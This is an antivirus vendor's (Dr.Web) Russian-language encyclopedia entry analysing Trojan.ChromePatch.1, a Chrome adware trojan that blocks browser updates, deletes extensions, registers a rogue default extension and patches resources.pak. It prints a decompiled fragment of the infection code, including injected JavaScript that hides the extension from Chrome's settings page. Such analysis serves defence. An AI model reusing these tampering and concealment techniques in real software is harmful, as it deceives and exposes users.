Защити созданное

Другие наши ресурсы

  • free.drweb.kz — бесплатные утилиты, плагины, информеры
  • av-desk.com — интернет-сервис для поставщиков услуг Dr.Web AV-Desk
  • curenet.drweb.kz — сетевая лечащая утилита Dr.Web CureNet!
Закрыть

Библиотека
Моя библиотека

Чтобы добавить ресурс в библиотеку, войдите в аккаунт.

+ Добавить в библиотеку

Ресурсов: -

Последний: -

Моя библиотека

Поддержка
Круглосуточная поддержка | Правила обращения

Позвоните

Глобальная поддержка:
+7 (495) 789-45-86

ЧаВо | Форум

Ваши запросы

  • Все: -
  • Незакрытые: -
  • Последний: -

Позвоните

Глобальная поддержка:
+7 (495) 789-45-86

Свяжитесь с нами Незакрытые запросы: 

Профиль

Профиль

Trojan.ChromePatch.1

Добавлен в вирусную базу Dr.Web: 2016-12-06

Описание добавлено:

SHA1:

  • 9347c6a90b3cf8479378755b58e2b49147320606

Троянец, реализованный в виде плагина для браузера Google Chrome, предназначен для показа нежелательной рекламы. Заражает файл resources.pak. Исследованный образец распространяется с помощью троянца Trojan.Ticno.1537 вместе с приложением TrayCalendar.

В процессе установки троянец удаляет папку %programfiles%\google\update\, блокируя обновления браузера, а затем удаляет все установленные расширения. Сохраняет собственное расширение в виде файла:

%ProgramFiles%\Google\Chrome\Application\*\default_apps\xls.crx

после чего регистрирует его:


// Dictionary of default apps to install into new profiles.  Each entry maps
// the extension's id to its crx's path (relative to this file) and the version
// of the extension contained in the crx.
//
// When an extension is added or removed here, the two lists 'default_apps_list'
// and 'default_apps_list_linux_dest' in build/common.gypi must also be updated.
{
  "ngpampappnmepgilojfohadhhmbhlaek" : {
    "external_crx": "xls.crx",
    "external_version": "6.25.21.2"
  },
...

При следующем запуске Google Chrome восстанавливает удаленные расширения. Одна из функций троянца заключается в заражении файла resources.pak. При заражении размер этого файла не меняется, поскольку троянец ищет в нем строки с комментариями и заменяет их собственным кодом.


v68 = 0;
  v70 = L"\\resources.pak";
  v69 = 8;
  v6 = _vbaVarVargNofree(&v68, a5);
  v7 = _vbaVarCat(&v74, &v69, v6);
  _vbaVarMove(&v82, v7);
  v8 = _vbaStrCat(dword_4040F0, L"&h");
  v9 = _vbaStrMove(&v77, v8);
  rtcR8ValFromBstr(v9);
  v10 = _vbaFpI4();
  rtcVarBstrFromAnsi(&v74, v10);
  v11 = _vbaStrVarMove(&v74);
  _vbaStrMove(&v85, v11);
  _vbaFreeStr(&v77);
  _vbaFreeVar(&v74);
  v73 = 1;
  v72 = 2;
  v12 = _vbaStrCat(v85, L"  /**");
  v13 = _vbaStrMove(&v77, v12);
  v75 = _vbaStrCat(L"   * Utility function to find the width of various UI strings and synchronize", v13);
  v14 = *a4;
  v74 = 8;
  v15 = (*(int (__cdecl **)(int *, int *, int *, int *, int *))(v14 + 1792))(a4, &v82, &v74, &v72, &v71);
  if ( v15 < 0 )
    _vbaHresultCheckObj(v15, a4, dword_4038FC, 1792);
  _vbaVarMove(&v80, &v71);
  _vbaFreeStr(&v77);
  _vbaFreeVarList(2, &v74, &v72);
  v70 = (const wchar_t *)-1;
  v69 = 32770;
  if ( (unsigned __int16)_vbaVarTstNe(&v69, &v80) )
  {
    v16 = _vbaStrCat(v85, L"window.addEventListener('load', function(e) {");
    v17 = _vbaStrMove(&v77, v16);
    v75 = _vbaStrCat(L"  extensions.ExtensionSettings.getInstance().initialize();", v17);
    v74 = 8;
    _vbaVarMove(&v91, &v74);
    _vbaFreeStr(&v77);
    _vbaStrCopy(
      &v83,
      L"function y(){setInterval(function(e){if(document.getElementById('ngpampappnmepgilojfohadhhmbhlaek')!=null) documen"
       "t.getElementById('ngpampappnmepgilojfohadhhmbhlaek').remove();},10);}document.addEventListener('DOMContentLoaded',y,false);");
    v18 = (*(int (__cdecl **)(int *, int *, int *, int *, int *))(*a4 + 1792))(a4, &v82, &v91, &v80, &v74);

screen Trojan.ChromePatch.1 #drweb

Рекомендации по лечению

  1. В случае если операционная система способна загрузиться (в штатном режиме или режиме защиты от сбоев), скачайте лечащую утилиту Dr.Web CureIt! и выполните с ее помощью полную проверку вашего компьютера, а также используемых вами переносных носителей информации.
  2. Если загрузка операционной системы невозможна, измените настройки BIOS вашего компьютера, чтобы обеспечить возможность загрузки ПК с компакт-диска или USB-накопителя. Скачайте образ аварийного диска восстановления системы Dr.Web® LiveDisk или утилиту записи Dr.Web® LiveDisk на USB-накопитель, подготовьте соответствующий носитель. Загрузив компьютер с использованием данного носителя, выполните его полную проверку и лечение обнаруженных угроз.
Скачать Dr.Web

По серийному номеру

Выполните полную проверку системы с использованием Антивируса Dr.Web Light для macOS. Данный продукт можно загрузить с официального сайта Apple App Store.

На загруженной ОС выполните полную проверку всех дисковых разделов с использованием продукта Антивирус Dr.Web для Linux.

Скачать Dr.Web

По серийному номеру

  1. Если мобильное устройство функционирует в штатном режиме, загрузите и установите на него бесплатный антивирусный продукт Dr.Web для Android Light. Выполните полную проверку системы и используйте рекомендации по нейтрализации обнаруженных угроз.
  2. Если мобильное устройство заблокировано троянцем-вымогателем семейства Android.Locker (на экране отображается обвинение в нарушении закона, требование выплаты определенной денежной суммы или иное сообщение, мешающее нормальной работе с устройством), выполните следующие действия:
    • загрузите свой смартфон или планшет в безопасном режиме (в зависимости от версии операционной системы и особенностей конкретного мобильного устройства эта процедура может быть выполнена различными способами; обратитесь за уточнением к инструкции, поставляемой вместе с приобретенным аппаратом, или напрямую к его производителю);
    • после активации безопасного режима установите на зараженное устройство бесплатный антивирусный продукт Dr.Web для Android Light и произведите полную проверку системы, выполнив рекомендации по нейтрализации обнаруженных угроз;
    • выключите устройство и включите его в обычном режиме.

Подробнее о Dr.Web для Android

Демо бесплатно на 14 дней

Выдаётся при установке